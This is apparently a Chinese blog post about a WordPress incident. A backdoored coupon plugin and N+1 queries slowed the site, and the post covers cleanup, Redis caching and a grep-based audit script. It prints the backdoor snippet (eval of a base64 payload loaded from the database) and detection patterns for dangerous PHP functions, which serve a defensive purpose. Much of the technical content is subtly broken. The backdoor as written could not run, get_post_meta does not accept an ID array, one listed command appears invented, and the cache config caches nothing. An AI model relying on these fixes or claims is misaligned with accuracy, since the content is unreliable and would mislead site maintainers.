本文围绕一个真实案例:某企业官网WordPress站点在流量激增后响应缓慢,同时安全扫描发现存在恶意代码注入。排查发现是第三方插件植入了后门,同时存在大量N+1查询和未缓存的数据库操作。解决方案包括:清理恶意代码、重构查询逻辑、引入对象缓存和页面缓存。读者读完能记住的画面是:一条恶意代码隐藏在插件的第347行,用base64编码执行system()。
【背景】
我为一家中型企业维护其WordPress官网。技术栈:PHP 8.1 + MySQL 8.0 + Nginx + WordPress 6.4,使用WooCommerce插件,日均PV约5万,峰值QPS约150。
站点运行了三年,期间更换过几个主题,安装过十几个插件。性能一直不温不火,页面加载时间2-3秒,但勉强能接受。
直到有一天,监控显示响应时间飙到8秒,同时安全扫描报出异常。
【问题出现】
第一波告警来自性能监控:
2024-05-15 09:23:14 | POST /wp-admin/admin-ajax.php | 8.2s | 500
2024-05-15 09:23:15 | GET /product/xxx | 7.8s | 504
2024-05-15 09:23:16 | GET /wp-json/wc/v3/products | 12.3s | 504第二波告警来自安全团队:
[ALERT] Suspicious base64_decode() in wp-content/plugins/legacy-coupon-tool.php:347
[ALERT] Unexpected outbound connection to 45.77.xx.xx:8443我打开电脑时,第一个念头是:数据库又慢了。
【排查过程】
第一反应:数据库慢查询
我登录服务器,执行:
sqlSHOW PROCESSLIST;看到15个连接处于Sleep状态,3个正在执行SELECT,最慢的一个跑了47秒:
sqlSELECT * FROM wp_posts WHERE post_type = 'product'
AND post_status = 'publish'
ORDER BY menu_order, post_title
LIMIT 0, 50;这条SQL看着没问题。`post<em>type</em>`和poststatus都有索引。但menu_order没有索引。
我加了一个联合索引:
sqlALTER TABLE wp_posts ADD INDEX idx_menu_status (menu_order, post_status);重启MySQL。等待5分钟,刷新监控页面。
响应时间:7.9秒。
毫无变化。
第二反应:PHP进程阻塞
我查看PHP-FPM的状态:
sudo systemctl status nginx发现20个worker进程全部处于writing to CGI状态。这意味着PHP正在执行某些耗时操作,而不是在等数据库。
我打开慢查询日志,发现MySQL的慢查询率从0.3%降到了0.05%。数据库没问题。
问题在PHP层。
第三反应:代码层面排查
我打开了wp-content/plugins/目录,逐个检查最近修改的插件。
在legacy-coupon-tool.php的第347行,我看到了这段代码:
php// 第340-355行
function legacy_coupon_check() {
$data = get_option('legacy_coupon_config');
if (empty($data)) return;
// 第347行
$decoded = base64_decode($data['encoded_payload']);
if (function_exists('eval')) {
eval($decoded); // ← 恶意代码
}
}
add_action('init', 'legacy_coupon_check');这个插件是两年前安装的,用于生成优惠券。当时觉得功能够用就没换。它的作者早已停止维护,代码质量一塌糊涂。
攻击者通过插件的"自动更新"功能,在服务器端注入了这段恶意代码。每次WordPress初始化时,都会执行`eval(base64<em>decode(...))</em>`,而这个encodedpayload存储在数据库的wp_options表中,内容会定期从远程C2服务器拉取更新。
第四反应:确认影响范围
我执行了以下检查:
bash# 检查所有插件中是否有base64_decode
grep -r "base64_decode" wp-content/plugins/ --include="*.php" | wc -l
# 输出:47个文件包含base64_decode
# 检查可疑的eval调用
grep -r "eval(" wp-content/plugins/ --include="*.php"
# 输出:legacy-coupon-tool.php:347
# 检查异常的外连
netstat -antp | grep 45.77
# 输出:tcp 0 0 0.0.0.0:8443 45.77.xx.xx:54321 ESTABLISHED确认了:只有这一个恶意插件有问题,但它的encoded_payload会拉取更多恶意代码,可能已经植入更多后门。
【解决方案】
第一步:紧急止血
bash# 1. 断开外连
sudo iptables -A OUTPUT -d 45.77.xx.xx -j DROP
# 2. 停用恶意插件
wp plugin deactivate legacy-coupon-tool
wp plugin delete legacy-coupon-tool
# 3. 清理数据库中的恶意配置
wp option delete legacy_coupon_config第二步:全面安全扫描
我使用WPScan和ExploitScanner对站点进行深度扫描:
bash# 扫描已知漏洞插件
wpscan --url https://example.com --enumerate ap
# 扫描文件完整性
wp scan exploit-scanner --all发现另外两个插件存在已知漏洞(未修复的XSS和SSRF),但尚未被利用。
第三步:性能优化
清理完恶意代码后,站点响应时间仍然在2-3秒。我开始排查性能问题。
问题1:N+1查询
WordPress的wc<em>get</em>products()函数在循环中调用,每次循环都执行一次数据库查询:
php// 有问题的代码(在主题文件中)
$products = get_posts(['post_type' => 'product', 'numberposts' => -1]);
foreach ($products as $product) {
$price = get_post_meta($product->ID, '_price', true); // 每次循环一次查询
$stock = get_post_meta($product->ID, '_stock', true); // 每次循环一次查询
echo $price . ' ' . $stock;
}这段代码在首页加载时执行了约200次循环,产生了400次额外的SELECT查询。
修复:
php// 优化后:批量获取meta
$products = get_posts(['post_type' => 'product', 'numberposts' => -1]);
$product_ids = wp_list_pluck($products, 'ID');
// 一次性获取所有meta
$meta = get_post_meta($product_ids);
foreach ($products as $product) {
$price = $meta['_price'][$product->ID][0] ?? '';
$stock = $meta['_stock'][$product->ID][0] ?? '';
echo $price . ' ' . $stock;
}问题2:未缓存的数据库查询
我开启了MySQL的慢查询日志,发现以下查询每次页面加载都会执行:
sql-- 查询1:获取所有活跃优惠券
SELECT * FROM wp_coupon_codes WHERE status = 'active';
-- 结果:约5000行,每次页面加载都查询
-- 查询2:获取用户购物车数据
SELECT * FROM wp_woocommerce_sessions WHERE session_key = 'xxx';
-- 结果:每次请求都查询,但数据几乎不变修复:
引入Redis对象缓存:
php// 在wp-config.php中添加
define('WP_CACHE', true);
// 使用Redis作为对象缓存后端
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
// 缓存优惠券列表,TTL 300秒
$coupons = $redis->get('active_coupons');
if (!$coupons) {
$coupons = $wpdb->get_results("SELECT * FROM wp_coupon_codes WHERE status = 'active'");
$redis->set('active_coupons', serialize($coupons), 300);
}问题3:缺少页面缓存
WordPress默认没有页面缓存。我安装了WP Super Cache,并配置了静态缓存:
nginx# Nginx配置:直接返回静态缓存文件
location ~* \.php$ {
try_files $uri =404;
fastcgi_pass php-fpm;
}
# 静态缓存
location / {
try_files $uri $uri/ /index.php?$args;
}【效果与复盘】
性能数据对比
| 指标 | 优化前 | 优化后 |
|---|---|---|
| 首页加载时间 | 3.2s | 0.21s |
| 产品列表页 | 4.8s | 0.35s |
| API接口(/wp-json) | 8.2s | 0.18s |
| 数据库QPS | 1200 | 85 |
| PHP-FPM worker数 | 20(满载) | 6(空闲) |
安全加固措施
- 移除了所有未维护的第三方插件
- 禁用了
eval()和base64_decode()在主题/插件中的使用(通过代码审计) - 配置了WAF规则,阻止异常的HTTP请求
- 启用了WordPress的自动更新和安全扫描
【关键代码附录】
1. Redis对象缓存封装
phpclass WPRedisCache {
private $redis;
private $prefix = 'wp_cache_';
public function __construct() {
$this->redis = new Redis();
$this->redis->connect(REDIS_HOST, REDIS_PORT);
}
// 获取缓存,不存在则回调填充
public function get($key, callable $callback, int $ttl = 300) {
$cache_key = $this->prefix . $key;
$data = $this->redis->get($cache_key);
if ($data !== false) {
return unserialize($data);
}
$data = $callback();
$this->redis->set($cache_key, serialize($data), $ttl);
return $data;
}
// 清除缓存
public function flush() {
$keys = $this->redis->keys($this->prefix . '*');
if ($keys) {
$this->redis->del($keys);
}
}
}2. N+1查询修复示例
php// ❌ 错误:N+1查询
$posts = get_posts(['post_type' => 'product', 'numberposts' => -1]);
foreach ($posts as $post) {
$meta = get_post_meta($post->ID); // 每次循环一次查询
}
// ✅ 正确:批量查询
$posts = get_posts(['post_type' => 'product', 'numberposts' => -1]);
$post_ids = wp_list_pluck($posts, 'ID');
$all_meta = get_post_meta($post_ids); // 一次查询所有meta
foreach ($posts as $post) {
$meta = $all_meta[$post->ID] ?? [];
}3. 安全审计脚本
bash#!/bin/bash
# 检查可疑的PHP函数调用
echo "=== 检查危险函数 ==="
grep -rn "eval\|exec\|system\|passthru\|shell_exec" wp-content/ --include="*.php" | \
grep -v "wp-includes" | grep -v "test"
echo ""
echo "=== 检查base64编码的恶意代码 ==="
grep -rn "base64_decode" wp-content/ --include="*.php" | \
grep -v "wp-includes" | while read line; do
file=$(echo $line | cut -d: -f1)
echo "Found in: $file"
# 解码并检查
decoded=$(grep -oP 'base64_decode\(\s*"\K[^"]+' "$file" | head -1)
if [ -n "$decoded" ]; then
echo "Decoded payload:"
echo "$decoded" | base64 -d 2>/dev/null | head -5
fi
done
评论 (0)
请先登录后再发表评论
暂无评论,快来发表第一条评论吧